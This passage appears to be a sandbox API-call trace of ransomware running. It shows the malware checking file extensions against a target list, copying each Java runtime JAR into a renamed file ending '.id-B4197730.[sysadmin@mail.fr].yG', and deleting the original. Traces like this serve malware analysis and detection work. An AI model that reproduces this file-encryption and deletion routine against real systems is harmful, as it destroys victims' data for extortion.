	[0141.658] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=5040094) returned 1
	[0141.658] CloseHandle (hObject=0x424) returned 1
	[0141.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20
	[0141.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0141.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.659] lstrlenW (lpString=".doc") returned 4
	[0141.659] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.659] lstrlenW (lpString=".docx") returned 5
	[0141.659] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0141.659] lstrlenW (lpString=".pdf") returned 4
	[0141.659] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.659] lstrlenW (lpString=".xls") returned 4
	[0141.659] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.659] lstrlenW (lpString=".xlsx") returned 5
	[0141.660] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0141.715] lstrlenW (lpString=".ppt") returned 4
	[0141.715] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.715] lstrlenW (lpString=".zip") returned 4
	[0141.715] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.715] lstrlenW (lpString=".rar") returned 4
	[0141.715] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.715] lstrlenW (lpString=".bz2") returned 4
	[0141.715] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.716] lstrlenW (lpString=".7z") returned 3
	[0141.716] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString=".dbf") returned 4
	[0141.716] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString=".1cd") returned 4
	[0141.716] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString=".jpg") returned 4
	[0141.716] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString=".doc") returned 4
	[0141.716] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.716] lstrlenW (lpString=".docx") returned 5
	[0141.716] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0141.716] lstrlenW (lpString=".pdf") returned 4
	[0141.716] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.716] lstrlenW (lpString=".xls") returned 4
	[0141.716] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.716] lstrlenW (lpString=".xlsx") returned 5
	[0141.716] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0141.716] lstrlenW (lpString=".ppt") returned 4
	[0141.716] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.716] lstrlenW (lpString=".zip") returned 4
	[0141.716] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.717] lstrlenW (lpString=".rar") returned 4
	[0141.717] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.717] lstrlenW (lpString=".bz2") returned 4
	[0141.717] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.717] lstrlenW (lpString=".7z") returned 3
	[0141.717] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.717] lstrlenW (lpString=".dbf") returned 4
	[0141.717] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.717] lstrlenW (lpString=".1cd") returned 4
	[0141.717] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0141.717] lstrlenW (lpString=".jpg") returned 4
	[0141.717] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.717] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.717] lstrlenW (lpString="cldrdata.jar") returned 12
	[0141.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.718] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=3860502) returned 1
	[0141.718] CloseHandle (hObject=0x498) returned 1
	[0141.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20
	[0141.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0141.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.719] lstrlenW (lpString=".doc") returned 4
	[0141.719] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.719] lstrlenW (lpString=".docx") returned 5
	[0141.719] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0141.719] lstrlenW (lpString=".pdf") returned 4
	[0141.719] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.719] lstrlenW (lpString=".xls") returned 4
	[0141.719] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.719] lstrlenW (lpString=".xlsx") returned 5
	[0141.719] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0141.719] lstrlenW (lpString=".ppt") returned 4
	[0141.719] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.719] lstrlenW (lpString=".zip") returned 4
	[0141.720] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.720] lstrlenW (lpString=".rar") returned 4
	[0141.720] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.720] lstrlenW (lpString=".bz2") returned 4
	[0141.720] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.720] lstrlenW (lpString=".7z") returned 3
	[0141.720] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.720] lstrlenW (lpString=".dbf") returned 4
	[0141.720] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.720] lstrlenW (lpString=".1cd") returned 4
	[0141.720] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.720] lstrlenW (lpString=".jpg") returned 4
	[0141.720] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.720] lstrlenW (lpString=".doc") returned 4
	[0141.720] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.720] lstrlenW (lpString=".docx") returned 5
	[0141.720] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0141.720] lstrlenW (lpString=".pdf") returned 4
	[0141.720] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.720] lstrlenW (lpString=".xls") returned 4
	[0141.721] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.721] lstrlenW (lpString=".xlsx") returned 5
	[0141.721] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0141.721] lstrlenW (lpString=".ppt") returned 4
	[0141.721] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.721] lstrlenW (lpString=".zip") returned 4
	[0141.721] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.721] lstrlenW (lpString=".rar") returned 4
	[0141.721] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.721] lstrlenW (lpString=".bz2") returned 4
	[0141.721] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.721] lstrlenW (lpString=".7z") returned 3
	[0141.721] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.721] lstrlenW (lpString=".dbf") returned 4
	[0141.721] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.721] lstrlenW (lpString=".1cd") returned 4
	[0141.721] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0141.721] lstrlenW (lpString=".jpg") returned 4
	[0141.721] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.721] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.722] lstrlenW (lpString="dnsns.jar") returned 9
	[0141.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.722] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=8286) returned 1
	[0141.722] CloseHandle (hObject=0x498) returned 1
	[0141.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20
	[0141.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.723] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.723] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.724] GetLastError () returned 0x0
	[0141.724] ReadFile (in: hFile=0x498, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x205e, lpOverlapped=0x0) returned 1
	[0141.737] WriteFile (in: hFile=0x49c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2060, lpOverlapped=0x0) returned 1
	[0141.738] ReadFile (in: hFile=0x498, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.738] WriteFile (in: hFile=0x49c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0141.738] SetEndOfFile (hFile=0x49c) returned 1
	[0141.738] CloseHandle (hObject=0x49c) returned 1
	[0141.738] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.738] SetEndOfFile (hFile=0x498) returned 1
	[0141.742] CloseHandle (hObject=0x498) returned 1
	[0141.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.743] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1
	[0141.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.743] lstrlenW (lpString=".doc") returned 4
	[0141.744] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.744] lstrlenW (lpString=".docx") returned 5
	[0141.744] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0141.744] lstrlenW (lpString=".pdf") returned 4
	[0141.744] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString=".xls") returned 4
	[0141.744] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString=".xlsx") returned 5
	[0141.744] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0141.744] lstrlenW (lpString=".ppt") returned 4
	[0141.744] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString=".zip") returned 4
	[0141.744] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString=".rar") returned 4
	[0141.744] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString=".bz2") returned 4
	[0141.744] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.744] lstrlenW (lpString=".7z") returned 3
	[0141.744] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString=".dbf") returned 4
	[0141.744] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString=".1cd") returned 4
	[0141.744] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString=".jpg") returned 4
	[0141.744] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.744] lstrlenW (lpString=".doc") returned 4
	[0141.744] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.745] lstrlenW (lpString=".docx") returned 5
	[0141.745] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0141.745] lstrlenW (lpString=".pdf") returned 4
	[0141.745] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.745] lstrlenW (lpString=".xls") returned 4
	[0141.745] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.745] lstrlenW (lpString=".xlsx") returned 5
	[0141.745] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0141.745] lstrlenW (lpString=".ppt") returned 4
	[0141.745] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.745] lstrlenW (lpString=".zip") returned 4
	[0141.745] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.745] lstrlenW (lpString=".rar") returned 4
	[0141.745] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.745] lstrlenW (lpString=".bz2") returned 4
	[0141.745] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.745] lstrlenW (lpString=".7z") returned 3
	[0141.745] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.745] lstrlenW (lpString=".dbf") returned 4
	[0141.745] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.745] lstrlenW (lpString=".1cd") returned 4
	[0141.745] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0141.745] lstrlenW (lpString=".jpg") returned 4
	[0141.745] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.746] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.746] lstrlenW (lpString="jaccess.jar") returned 11
	[0141.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.747] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=44516) returned 1
	[0141.747] CloseHandle (hObject=0x498) returned 1
	[0141.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20
	[0141.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.748] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.748] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.749] GetLastError () returned 0x0
	[0141.749] ReadFile (in: hFile=0x498, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xade4, lpOverlapped=0x0) returned 1
	[0141.756] WriteFile (in: hFile=0x49c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xadf0, lpOverlapped=0x0) returned 1
	[0141.757] ReadFile (in: hFile=0x498, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.757] WriteFile (in: hFile=0x49c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xea, lpOverlapped=0x0) returned 1
	[0141.757] SetEndOfFile (hFile=0x49c) returned 1
	[0141.758] CloseHandle (hObject=0x49c) returned 1
	[0141.758] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.758] SetEndOfFile (hFile=0x498) returned 1
	[0141.761] CloseHandle (hObject=0x498) returned 1
	[0141.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.762] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1
	[0141.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.762] lstrlenW (lpString=".doc") returned 4
	[0141.762] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.762] lstrlenW (lpString=".docx") returned 5
	[0141.762] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0141.762] lstrlenW (lpString=".pdf") returned 4
	[0141.762] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.762] lstrlenW (lpString=".xls") returned 4
	[0141.762] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.763] lstrlenW (lpString=".xlsx") returned 5
	[0141.763] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0141.763] lstrlenW (lpString=".ppt") returned 4
	[0141.763] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.763] lstrlenW (lpString=".zip") returned 4
	[0141.763] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.763] lstrlenW (lpString=".rar") returned 4
	[0141.763] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.763] lstrlenW (lpString=".bz2") returned 4
	[0141.763] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.763] lstrlenW (lpString=".7z") returned 3
	[0141.763] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.763] lstrlenW (lpString=".dbf") returned 4
	[0141.763] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.763] lstrlenW (lpString=".1cd") returned 4
	[0141.763] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.763] lstrlenW (lpString=".jpg") returned 4
	[0141.763] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
